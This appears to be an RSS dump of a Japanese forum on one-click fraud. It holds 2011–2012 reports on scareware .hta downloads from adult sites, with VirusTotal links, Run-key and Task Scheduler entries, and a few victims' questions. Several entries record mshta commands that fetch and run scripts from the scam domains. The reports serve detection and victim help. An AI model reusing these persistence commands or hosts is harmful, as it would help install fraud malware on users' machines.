http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi RSS for ワンクリ詐欺掲示板 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://qn515q.info/ File name 「 MovieID_diHvYDyYQRvrDubXyHsSW4gHdc0xQYi2.hta」 https://www.virustotal.com/file/544a64fe6cec8c723b3c48090b97a156e9f161f1a01b68bd380a315055d4cb8f/analysis/1327915764/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootdiHvYDyYQRvrDubXyHsSW4gHdc0xQYi2] C:\Users\Cerberus\UserProfile\SystemFile.lnk O4 - HKCU\..\Run: [RegWritediHvYDyYQRvrDubXyHsSW4gHdc0xQYi2] C:\Users\Cerberus\SoftRecovery\datdiHvYDyYQRvrDubXyHsSW4gHdc0xQYi2.bat O4 - Startup: RegWriting.lnk = C:\Windows\System32\mshta.exe The link place of "RegWriting" C:\Windows\System32\mshta.exe http://qn515q.info/set_inf2.php?cccid=diHvYDyYQRvrDubXyHsSW4gHdc0xQYi2 The link place of "SystemFile" C:\Users\Cerberus\UserProfile\mshost.exe http://qn515q.info/reg2.php?cccid=diHvYDyYQRvrDubXyHsSW4gHdc0xQYi2&log=1 Startup on Registory HKCU:Run RegWritediHvYDyYQRvrDubXyHsSW4gHdc0xQYi2 C:\Users\Cerberus\SoftRecovery\datdiHvYDyYQRvrDubXyHsSW4gHdc0xQYi2.bat SystemBootdiHvYDyYQRvrDubXyHsSW4gHdc0xQYi2 C:\Users\Cerberus\UserProfile\SystemFile.lnk Startup User RegWriting.lnk C:\Windows\System32\mshta.exe Task Scheduler librar」 RegWriting <Command>C:\Windows\system32\mshta.exe</Command> <Arguments>http://qn515q.info/set_inf2.php?cccid=diHvYDyYQRvrDubXyHsSW4gHdc0xQYi2</Arguments> SystemFile <Command>C:\Windows\system32\mshta.exe</Command> <Arguments>http://qn515q.info/reg2.php?cccid=diHvYDyYQRvrDubXyHsSW4gHdc0xQYi2</Arguments> ---------------------------------------------------------- http://rrinl58r.info/ File name 「MovieID_6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo.hta」 https://www.virustotal.com/file/abea9c586fc93148dc75b5fdffadfca55e0b18d11615a72b1e926dc54f3b4a2f/analysis/1328011779/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBoot6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo] C:\Users\Cerberus\UserProfile\SystemFile.lnk O4 - HKCU\..\Run: [RegWrite6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo] C:\Users\Cerberus\SoftRecovery\dat6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo.bat O4 - Startup: RegWriting.lnk = C:\Windows\System32\mshta.exe The link place of "RegWriting" C:\Windows\System32\mshta.exe http://erostar.info/set_inf2.php?cccid=6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo The link place of "SystemFile" C:\Users\Cerberus\UserProfile\mshost.exe http://erostar.info/reg2.php?cccid=6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo&log=1 Startup on Registory HKCU:Run RegWrite6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo C:\Users\Cerberus\SoftRecovery\dat6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo.bat HKCU:Run SystemBoot6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo C:\Users\Cerberus\UserProfile\SystemFile.lnk Startup User RegWriting.lnk C:\Windows\System32\mshta.exe Task Scheduler library　 RegWriting <Command>C:\Windows\system32\mshta.exe</Command> <Arguments>http://erostar.info/set_inf2.php?cccid=6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo</Arguments> SystemFile <Command>C:\Windows\system32\mshta.exe</Command> <Arguments>http://erostar.info/reg2.php?cccid=6y3w2pAsn9hdWZxTZrAP8bFXdTOPBVPo</Arguments> 2012-01-30T21:58+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://bzin85b.info/ File name 「MovieID_JQwv8ppT2HNiZiFZQb8oWOMyHG6wrjfk.hta」 https://www.virustotal.com/file/f5518919afe6d8743a12667b9e3e79d464f301f464e2f0a8cad18e257e327f94/analysis/1327219800/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootSfoEqUqkOVTh3AUJGGas9sYTin7NN6vC] C:\Users\Cerberus\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWriteSfoEqUqkOVTh3AUJGGas9sYTin7NN6vC] C:\Users\Cerberus\SoftRecovery\datSfoEqUqkOVTh3AUJGGas9sYTin7NN6vC.bat O4 - Startup: RegWrite.lnk = C:\Windows\System32\mshta.exe The link place of "RegWrite" C:\Windows\System32\mshta.exe http://bzin85b.info/set_inf2.php?cccid=SfoEqUqkOVTh3AUJGGas9sYTin7NN6vC The link place of "SystemBoot" C:\Users\Cerberus\UserProfile\mshost.exe http://bzin85b.info/reg2.php?cccid=SfoEqUqkOVTh3AUJGGas9sYTin7NN6vC&log=1 Startup on Registory HKCU:Run RegWriteSfoEqUqkOVTh3AUJGGas9sYTin7NN6vC C:\Users\Cerberus\SoftRecovery\datSfoEqUqkOVTh3AUJGGas9sYTin7NN6vC.bat HKCU:Run SystemBootSfoEqUqkOVTh3AUJGGas9sYTin7NN6vC C:\Users\Cerberus\UserProfile\SystemBoot.lnk Startup User RegWrite.lnk C:\Windows\System32\mshta.exe Task Scheduler library RegWrite <Command>C:\Windows\system32\mshta.exe</Command> <Arguments>http://bzin85b.info/set_inf2.php?cccid=SfoEqUqkOVTh3AUJGGas9sYTin7NN6vC</Arguments> Task Scheduler library SystemBoot <Command>C:\Windows\system32\mshta.exe</Command> <Arguments>http://bzin85b.info/reg2.php?cccid=SfoEqUqkOVTh3AUJGGas9sYTin7NN6vC</Arguments> ---------------------------------------------------------- http://ink59di.info/ File name 「MovieID_kNZwPodBZ1pFSGnptoiDF7qMVj2DMUpz.hta」 https://www.virustotal.com/file/daafa3bc00d1e1b2f4d7f2a0fe659ac1aca4d45f087a36f0e230fcb82ce711b2/analysis/1327320142/ C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootzeb7zjtYnCMSZEU2mfdWr2513angqCQW] C:\Users\Cerberus\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWritezeb7zjtYnCMSZEU2mfdWr2513angqCQW] C:\Users\Cerberus\SoftRecovery\datzeb7zjtYnCMSZEU2mfdWr2513angqCQW.bat O4 - Startup: RegWrite.lnk = C:\Windows\System32\mshta.exe The link place of "RegWrite" C:\Windows\System32\mshta.exe http://ink59di.info/set_inf2.php?cccid=zeb7zjtYnCMSZEU2mfdWr2513angqCQW The link place of "SystemBoot" C:\Users\Cerberus\UserProfile\mshost.exe http://ink59di.info/reg2.php?cccid=zeb7zjtYnCMSZEU2mfdWr2513angqCQW&log=1 Startup on Registory HKCU:Run RegWritezeb7zjtYnCMSZEU2mfdWr2513angqCQW C:\Users\Cerberus\SoftRecovery\datzeb7zjtYnCMSZEU2mfdWr2513angqCQW.bat HKCU:Run SystemBootzeb7zjtYnCMSZEU2mfdWr2513angqCQW C:\Users\Cerberus\UserProfile\SystemBoot.lnk Startup User RegWrite.lnk C:\Windows\System32\mshta.exe Task Scheduler library RegWrite <Command>C:\Windows\system32\mshta.exe</Command> <Arguments>http://ink59di.info/set_inf2.php?cccid=zeb7zjtYnCMSZEU2mfdWr2513angqCQW</Arguments> SystemBoot <Command>C:\Windows\system32\mshta.exe</Command> <Arguments>http://ink59di.info/reg2.php?cccid=zeb7zjtYnCMSZEU2mfdWr2513angqCQW</Arguments> 2012-01-22T20:49+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://ero-xx.com/ File name 「movie_load1326801154.hta」 http://r.virscan.org/report/305a26e3e9b7e959049df99042d7e8b5.html C:\Users\Cerberus\AppData\Roaming\Media Center Programs\wmMsgSvr.exe C:\WINDOWS\system32\mshta.exe O4 - HKCU\..\Run: [WqbLogic radiuy] "C:\Users\Cerberus\AppData\Roaming\Adobe\radiuy.lnk" O4 - HKCU\..\Run: [granite] C:\WINDOWS\system32\mshta.exe "C:\Documents and Settings\Cerberus\Application Data\granite\granite.hta" The link place of "radiuy" "C:\Users\Cerberus\AppData\Roaming\Media Center Programs\wmMsgSvr.exe" //B //E:VBScript.Encode "C:\Users\Cerberus\AppData\Roaming\Adobe\ChalcedonyeKsD" Startup on Registory HKCU:Run granite C:\WINDOWS\system32\mshta.exe "C:\Documents and Settings\Cerberus\Application Data\granite\granite.hta" HKCU:Run WqbLogic radiuy "C:\Users\Cerberus\AppData\Roaming\Adobe\radiuy.lnk" 2012-01-17T21:50+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://virtuoso.nebulanikki.net/ http://nebulanikki.net/ http://*.nebulanikki.net/ File name 「candygirl_1325973169.hta」 http://www.virustotal.com/file-scan/report.html?id=5f7846dad30c10f9a9ee8b555307aa48ac999152468bf6c562d575a8dd6c2a49-1325972821 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [breakslow_0fb017474f2556001a32d9cc851a6225332683e8a3b68a2d] C:\Users\Cerberus\AppData\Roaming\Adobe\breakslow_0fb017474f2556001a32d9cc851a6225332683e8a3b68a2d.vbs Startup on Registory HKCU:Run breakslow_0fb017474f2556001a32d9cc851a6225332683e8a3b68a2d C:\Users\Cerberus\AppData\Roaming\Adobe\breakslow_0fb017474f2556001a32d9cc851a6225332683e8a3b68a2d.vbs Task Scheduler library <Command>C:\Users\Cerberus\AppData\Roaming\Adobe\breakslow_0fb017474f2556001a32d9cc851a6225332683e8a3b68a2d.vbs</Command> --------------------------------------------------------- http://upheld.yorkshirejulie.net/ http://yorkshirejulie.net/ http://*.yorkshirejulie.net/ File name 「smsister_1326370947.hta」 http://www.virustotal.com/file-scan/report.html?id=f4b1b53ed6c07a337d65d1c9abde3b967bd5c34274a75ef95637d8567c79616c-1326370534 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [odiniris_29cc8b8d862983b030083d1d3c2ec051b46cc660cb4321a2] C:\Users\Cerberus\AppData\Roaming\Identities\odiniris_29cc8b8d862983b030083d1d3c2ec051b46cc660cb4321a2.vbs Startup on Registory HKCU:Run odiniris_29cc8b8d862983b030083d1d3c2ec051b46cc660cb4321a2 C:\Users\Cerberus\AppData\Roaming\Identities\odiniris_29cc8b8d862983b030083d1d3c2ec051b46cc660cb4321a2.vbs Task Scheduler library　 <Command>C:\Users\Cerberus\AppData\Roaming\Identities\odiniris_29cc8b8d862983b030083d1d3c2ec051b46cc660cb4321a2.vbs</Command> 2012-01-08T19:46+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://av-porn.info/ File name 「MovieID_KpUzK5fptCxTWTYXRidhYP5nhatuiC8N.hta」 http://www.virustotal.com/file-scan/report.html?id=f5b31335fefa7d46bab89c6985d7c097eaf8a6b29ac990b5bf63c75e0499a3b6-1325411290 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootKpUzK5fptCxTWTYXRidhYP5nhatuiC8N] C:\Users\Cerberus\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWriteKpUzK5fptCxTWTYXRidhYP5nhatuiC8N] C:\Users\Cerberus\SoftRecovery\RegWrite.lnk O4 - Startup: RegWrite.lnk = C:\Windows\System32\mshta.exe The link place of "RegWrite" C:\Windows\System32\mshta.exe http://av-porn.info/set_inf2.php?cccid=KpUzK5fptCxTWTYXRidhYP5nhatuiC8N The link place of "SystemBoot" C:\Users\Cerberus\UserProfile\htmlapp.exe http://av-porn.info/reg2.php?cccid=KpUzK5fptCxTWTYXRidhYP5nhatuiC8N Startup on Registory HKCU:Run RegWriteKpUzK5fptCxTWTYXRidhYP5nhatuiC8N C:\Users\Cerberus\SoftRecovery\RegWrite.lnk HKCU:Run SystemBootKpUzK5fptCxTWTYXRidhYP5nhatuiC8N C:\Users\Cerberus\UserProfile\SystemBoot.lnk Startup User RegWrite.lnk C:\Windows\System32\mshta.exe Task Scheduler library <Command>C:\Windows\system32\mshta.exe</Command> <Arguments>http://av-porn.info/set_inf2.php?cccid=KpUzK5fptCxTWTYXRidhYP5nhatuiC8N</Arguments> -------------------------------------------------------- http://olive-porn.info/ File name 「MovieID_WgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c.hta」 http://www.virustotal.com/file-scan/report.html?id=2e9fddcae84fcb8670fc832ff939495c91ceb63b5c20de445439b8ff905af494-1325763145 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootWgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c] C:\Users\Cerberus\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWriteWgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c] C:\Users\Cerberus\SoftRecovery\RegWrite.lnk O4 - Startup: RegWrite.lnk = C:\Windows\System32\mshta.exe The link place of "RegWrite" C:\Windows\System32\mshta.exe http://olive-porn.info/set_inf2.php?cccid=WgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c The link place of "SystemBoot" C:\Users\Cerberus\UserProfile\htmlapp.exe http://olive-porn.info/reg2.php?cccid=WgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c Startup on Registory HKCU:Run RegWriteWgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c C:\Users\Cerberus\SoftRecovery\RegWrite.lnk HKCU:Run SystemBootWgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c C:\Users\Cerberus\UserProfile\SystemBoot.lnk Startup User RegWrite.lnk C:\Windows\System32\mshta.exe Task Scheduler library　 <Command>C:\Windows\system32\mshta.exe</Command> <Arguments>http://olive-porn.info/set_inf2.php?cccid=WgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c</Arguments> 2012-01-01T23:01+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://cynical.boronplanet.net/ http://boronplanet.net/ http://*.boronplanet.net/ File name 「ahegaow_1324888643.hta」 http://www.virustotal.com/file-scan/report.html?id=0aa8310d4dc613a2d722696d3216a91924386820344bcfacfa62ae02bf9e71db-1324888294 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [peacev_d0260443d08be7dde70485bc1712a14f14e8eeabc8c21603] C:\Users\Cerberus\AppData\Roaming\Macromedia\peacev_d0260443d08be7dde70485bc1712a14f14e8eeabc8c21603.vbs Startup on Registor HKCU:Run peacev_d0260443d08be7dde70485bc1712a14f14e8eeabc8c21603 C:\Users\Cerberus\AppData\Roaming\Macromedia\peacev_d0260443d08be7dde70485bc1712a14f14e8eeabc8c21603.vbs Task Scheduler library <Command>C:\Users\Cerberus\AppData\Roaming\Macromedia\peacev_d0260443d08be7dde70485bc1712a14f14e8eeabc8c21603.vbs</Command> 2011-12-26T18:25+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://comet.greatbearlily.net/ http://greatbearlily.net/ http://*.greatbearlily.net/ File name 「erobody_1324639546.hta」 http://r.virscan.org/8344324a1eda8b3da95ee3ce50704a8b C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [onanycrazy_b770db4a5b9f696956cb90f1c46e1dd7fcc466ab08e7e4b4] C:\Users\Cerberus\AppData\Roaming\Media Center Programs\onanycrazy_b770db4a5b9f696956cb90f1c46e1dd7fcc466ab08e7e4b4.vbs Startup on Registory KCU:Run onanycrazy_b770db4a5b9f696956cb90f1c46e1dd7fcc466ab08e7e4b4 C:\Users\Cerberus\AppData\Roaming\Media Center Programs\onanycrazy_b770db4a5b9f696956cb90f1c46e1dd7fcc466ab08e7e4b4.vbs Task Scheduler library <Command>C:\Users\Cerberus\AppData\Roaming\Media</Command> <Arguments>Center Programs\onanycrazy_b770db4a5b9f696956cb90f1c46e1dd7fcc466ab08e7e4b4.vbs</Arguments> 2011-12-23T22:14+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi http://　www.pomdora.com/ 上記サイトの情報が無いので質問させてください 支払期限カウントダウンの消えないポップアップが出ました （それに関しては削除ツールを使用して消しました） ワンクリ詐欺サイトなんでしょうか 動画は4秒で終了でしたが出ました 興味本位で知らないサイトを使うもんじゃないと後悔しました このまま無視を決め込んで大丈夫なサイトなのかどうか教えていただければ有難いです 2011-12-22T11:56+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://girls-porn.info/ File name 「MovieID_ROGy6Ar6HagJIlnctGgiILtdhWtP5gkf.hta」 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootROGy6Ar6HagJIlnctGgiILtdhWtP5gkf] C:\Users\Cerberus\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWriteROGy6Ar6HagJIlnctGgiILtdhWtP5gkf] C:\Users\Cerberus\SoftRecovery\RegWrite.lnk The link place of "RegWrite" C:\Windows\System32\mshta.exe http://girls-porn.info/set_inf2.php?cccid=ROGy6Ar6HagJIlnctGgiILtdhWtP5gkf The link place of "SystemBoot" C:\Users\Cerberus\UserProfile\htmlapp.exe http://girls-porn.info/reg2.php?cccid=ROGy6Ar6HagJIlnctGgiILtdhWtP5gkf Startup on Registory HKCU:Run SystemBootROGy6Ar6HagJIlnctGgiILtdhWtP5gkf C:\Users\Cerberus\UserProfile\SystemBoot.lnk HKCU:Run RegWriteROGy6Ar6HagJIlnctGgiILtdhWtP5gkf C:\Users\Cerberus\SoftRecovery\RegWrite.lnk ----------------------------------------------------- http://erotic-porn.info/ File name 「MovieID_74jSZnuHQOtwIiKvQ4K2LtPOKy5imVvh.hta」 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBoot74jSZnuHQOtwIiKvQ4K2LtPOKy5imVvh] C:\Users\Cerberus\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWrite74jSZnuHQOtwIiKvQ4K2LtPOKy5imVvh] C:\Users\Cerberus\SoftRecovery\RegWrite.lnk The link place of "RegWrite" C:\Windows\System32\mshta.exe http://erotic-porn.info/set_inf2.php?cccid=74jSZnuHQOtwIiKvQ4K2LtPOKy5imVvh The link place of "SystemBoot" C:\Users\Cerberus\UserProfile\htmlapp.exe http://erotic-porn.info/reg2.php?cccid=74jSZnuHQOtwIiKvQ4K2LtPOKy5imVvh Startup on Registory HKCU:Run SystemBoot74jSZnuHQOtwIiKvQ4K2LtPOKy5imVvh C:\Users\Cerberus\UserProfile\SystemBoot.lnk HKCU:Run RegWrite74jSZnuHQOtwIiKvQ4K2LtPOKy5imVvh C:\Users\Cerberus\SoftRecovery\RegWrite.lnk 2011-12-20T22:02+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://windowpane.twittnow.net/ http://twittnow.net/ http://*.twittnow.net/ File name 「nudybeach_1324202638.hta」 http://www.virustotal.com/file-scan/report.html?id=20841ce8a2a2e4401bafb99199aab9b87741bebc72e959daccb22d8bdeb0ae14-1324202296 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [thanks_e4612a9a925fa033d8b197137e580f132f8fde09a867c587] C:\Users\Cerberus\AppData\Roaming\Microsoft hanks_e4612a9a925fa033d8b197137e580f132f8fde09a867c587.vbs Startup on Registory HKCU:Run thanks_e4612a9a925fa033d8b197137e580f132f8fde09a867c587 C:\Users\Cerberus\AppData\Roaming\Microsoft hanks_e4612a9a925fa033d8b197137e580f132f8fde09a867c587.vbs Task Scheduler library　 <Command>C:\Users\Cerberus\AppData\Roaming\Microsoft hanks_e4612a9a925fa033d8b197137e580f132f8fde09a867c587.vbs</Command> 2011-12-18T20:19+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://apoplexy.saladinemily.net/ http://saladinemily.net/ http://*.saladinemily.net/ File name 「pinkylove_1324291498.hta」 Kaspersky 9.0.0.837 2011.12.19 Trojan-Downloader.HTA.Agent.bu http://www.virustotal.com/file-scan/report.html?id=bae91572aa98af01ed653d80847a021bcb6a942d24876541a7b63ca270240ec3-1324291027 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [placeless_22ad41cfb09ea34c60bfd60f2d436754a40dda835cdaf8f4] C:\Users\Cerberus\AppData\Roaming\Media Center Programs\placeless_22ad41cfb09ea34c60bfd60f2d436754a40dda835cdaf8f4.vbs Startup on Registory HKCU:Run placeless_22ad41cfb09ea34c60bfd60f2d436754a40dda835cdaf8f4 C:\Users\Cerberus\AppData\Roaming\Media Center Programs\placeless_22ad41cfb09ea34c60bfd60f2d436754a40dda835cdaf8f4.vbs Task Scheduler library　 <Command>C:\Users\Cerberus\AppData\Roaming\Media</Command> <Arguments>Center Programs\placeless_22ad41cfb09ea34c60bfd60f2d436754a40dda835cdaf8f4.vbs</Arguments> 2011-12-19T20:47+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://babe-porn.info/ File name 「MovieID_vLEjaNUME2SvzeMUWrUSlCwPOdHSoe9T.hta」 http://www.virustotal.com/file-scan/report.html?id=d1b6ecc49ab5c2c5a1415a41d26ecf08fd4eed62a0f3a2add16ce3ce48ad5fdd-1323592747 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [system_boot_vLEjaNUME2SvzeMUWrUSlCwPOdHSoe9T] C:\Windows\system32\mshta http://babe-porn.info/reg2.php?cccid=vLEjaNUME2SvzeMUWrUSlCwPOdHSoe9T 2011-12-11T20:10+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://crane.castleviolet.net/ http://castleviolet.net/ http://(いろいろ出てくる).castleviolet.net/ File name 「tororinko_1323430771.hta」 http://www.virustotal.com/file-scan/report.html?id=9cb0b13834917abcb2902fce8b8eeb400f4dad07ad74f0f042293f763e574609-1323430440 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [whity_505c8ef8ee65c924f27ca30270e4936ca582c3dd490bb421] C:\Users\Cerberus\AppData\Roaming\Macromedia\whity_505c8ef8ee65c924f27ca30270e4936ca582c3dd490bb421.vbs Startup on Registory HKCU:Run whity_505c8ef8ee65c924f27ca30270e4936ca582c3dd490bb421 C:\Users\Cerberus\AppData\Roaming\Macromedia\whity_505c8ef8ee65c924f27ca30270e4936ca582c3dd490bb421.vbs Task Scheduler library　 <Command>C:\Users\Cerberus\AppData\Roaming\Macromedia\whity_505c8ef8ee65c924f27ca30270e4936ca582c3dd490bb421.vbs</Command> 2011-12-09T21:57+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://gentian-movie.com/ File name 「movie_l1323171927.hta」 Kaspersky 9.0.0.837 2011.12.05 HEUR:Trojan.Script.Generic http://www.virustotal.com/file-scan/report.html?id=4f04a5fba325c6627dca5ad9d53da4ffb1eaa141085350611cf8b25436c65377-1323171424 C:\WINDOWS\system32\mshta.exe O4 - HKCU\..\Run: [hexalia] C:\WINDOWS\system32\mshta.exe "C:\Documents and Settings\Cerberus\Application Data\hexalia\hexalia.hta" Startup on Registory HKCU:Run hexalia C:\WINDOWS\system32\mshta.exe "C:\Documents and Settings\Cerberus\Application Data\hexalia\hexalia.hta" 2011-12-06T21:09+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://omelet.milionsunnywave.net/ http://milionsunnywave.net/ http://*.milionsunnywave.net/ File name 「playgirl_1322280548.hta」 http://www.virustotal.com/file-scan/report.html?id=27a25b075929d1dc52a12920c64eb633b733281a7ca7433e51cbdc19c4c58204-1322280026 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [gungun_391e76c687ddad93701049f4df2907e247a6d7920c0e9072] C:\Users\Cerberus\AppData\Roaming\AVG2012\gungun_391e76c687ddad93701049f4df2907e247a6d7920c0e9072.vbs Startup on Registory HKCU:Run gungun_391e76c687ddad93701049f4df2907e247a6d7920c0e9072 C:\Users\Cerberus\AppData\Roaming\AVG2012\gungun_391e76c687ddad93701049f4df2907e247a6d7920c0e9072.vbs Task Scheduler library　 <Command>C:\Users\Cerberus\AppData\Roaming\AVG2012\gungun_391e76c687ddad93701049f4df2907e247a6d7920c0e9072.vbs</Command> ----------------------------------------------------------- http://shimeji.vivitube.net/ http://vivitube.net/ http://*.vivitube.net/ File name 「osyaburi_1322483974.hta」 http://www.virustotal.com/file-scan/report.html?id=e3f42474f8993db9e0e10fddf2f082334c1391361f246851d062bf2032e3c521-1322483767 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [matutake_913e28fe285123695ae13a2388498dad07ef81d75c877a6d] C:\Users\Cerberus\AppData\Roaming\\matutake_913e28fe285123695ae13a2388498dad07ef81d75c877a6d.vbs Startup on Registory HKCU:Run matutake_913e28fe285123695ae13a2388498dad07ef81d75c877a6d C:\Users\Cerberus\AppData\Roaming\\matutake_913e28fe285123695ae13a2388498dad07ef81d75c877a6d.vbs Task Scheduler library <Command>C:\Users\Cerberus\AppData\Roaming\\matutake_913e28fe285123695ae13a2388498dad07ef81d75c877a6d.vbs</Command> ---------------------------------------------------------- http://pineapple.hamcock.net/ http://hamcock.net/ http://*.hamcock.net/ File name 「soaplife_1323076010.hta」 http://www.virustotal.com/file-scan/report.html?id=1178a50023d184f622183b01285d075e1a39d4a094d5938e0d02ec752e61d70a-1323075681 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [avcinema_f8971de38337b00bbb4d8f64c8dfd34d088368769907e502] C:\Users\Cerberus\AppData\Roaming\\avcinema_f8971de38337b00bbb4d8f64c8dfd34d088368769907e502.vbs Startup on Registory HKCU:Run avcinema_f8971de38337b00bbb4d8f64c8dfd34d088368769907e502 C:\Users\Cerberus\AppData\Roaming\\avcinema_f8971de38337b00bbb4d8f64c8dfd34d088368769907e502.vbs Task Scheduler library　 <Command>C:\Users\Cerberus\AppData\Roaming\\avcinema_f8971de38337b00bbb4d8f64c8dfd34d088368769907e502.vbs</Command> 2011-11-26T13:33+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://shovel.iodineclip.net/ http://iodineclip.net/ http://(いろいろ出てくる).iodineclip.net/ File name 「gabaman_1321785787.hta」 http://www.virustotal.com/file-scan/report.html?id=1c00848b99e32c1858cacdc8bdb75bf9ccdb0fe8ccae9c8d58c5aa709793d5f6-1321785443 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [jastin_6c53a57ef721964b7264982fffe4b7dddd5be70bd59d9c72] C:\Users\Cerberus\AppData\Roaming\\jastin_6c53a57ef721964b7264982fffe4b7dddd5be70bd59d9c72.vbs Startup on Registory HKCU:Run jastin_6c53a57ef721964b7264982fffe4b7dddd5be70bd59d9c72 C:\Users\Cerberus\AppData\Roaming\\jastin_6c53a57ef721964b7264982fffe4b7dddd5be70bd59d9c72.vbs Task Scheduler library　 <Command>C:\Users\Cerberus\AppData\Roaming\\jastin_6c53a57ef721964b7264982fffe4b7dddd5be70bd59d9c72.vbs</Command> 2011-11-20T20:14+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi 入会ありがとうございます。 内容は お支払期日までとでてきます と何分おきかに出てくるのですがどうすればいいですか？ htt　　p://kiramata.net/member/pay.php 2ます開けてます このサイトです このサイトはワンクリック詐欺ですか？ 2011-11-10T22:29+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://www.adult-hs.com/ File name 「video55195083.hta」 http://www.virustotal.com/file-scan/report.html?id=1553a15a5e960d10a779bc0ef3c25a297ebb8939d1e7fba4ea719db69fe015af-1321100096 C:\Windows\System32\mshta.exe O4 - HKCU\..\Run: [webcsdat] mshta "C:\ProgramData\csdat\544XX0H5.hta" Startup on Registory HKCU:Run webcsdat mshta "C:\ProgramData\csdat\544XX0H5.hta" 2011-11-12T21:42+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi http://bfuage.blog.so-net.ne.jp/2011-09-28 上のブログで長澤まさみの動画を見ようと再生マークをクリックし、「はい」で進んでいったら登録完了になってしまいました。 何回もクリックしてしまったが、これはワンクリック詐欺にあたりますか？ 無視しても大丈夫でしょうか？ 2011-11-19T15:59+09:00 http://www.ken-hokuto.com/oneclick/bbs/yybbs.cgi ワンクリウェア入り http://path.vanillax.net/ http://(たぶんいろいろ出てくる).vanillax.net/ File name 「mania_1320664341.hta」 http://www.virustotal.com/file-scan/report.html?id=c32583cc2cd7bcba106d4106a7e9be83eb938ef7fe8667d1d594aa759ed92137-1320664294 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [everybody_8dd03c04d856319a7f64ffd53d75e148ebdf2e3d0682f646] C:\Users\Cerberus\AppData\Roaming\Microsoft\everybody_8dd03c04d856319a7f64ffd53d75e148ebdf2e3d0682f646.vbs Startup on Registory HKCU:Run everybody_8dd03c04d856319a7f64ffd53d75e148ebdf2e3d0682f646 C:\Users\Cerberus\AppData\Roaming\Microsoft\everybody_8dd03c04d856319a7f64ffd53d75e148ebdf2e3d0682f646.vbs Task Scheduler library　 <Command>C:\Users\Cerberus\AppData\Roaming\Microsoft\everybody_8dd03c04d856319a7f64ffd53d75e148ebdf2e3d0682f646.vbs</Command> 2011-11-07T21:33+09:00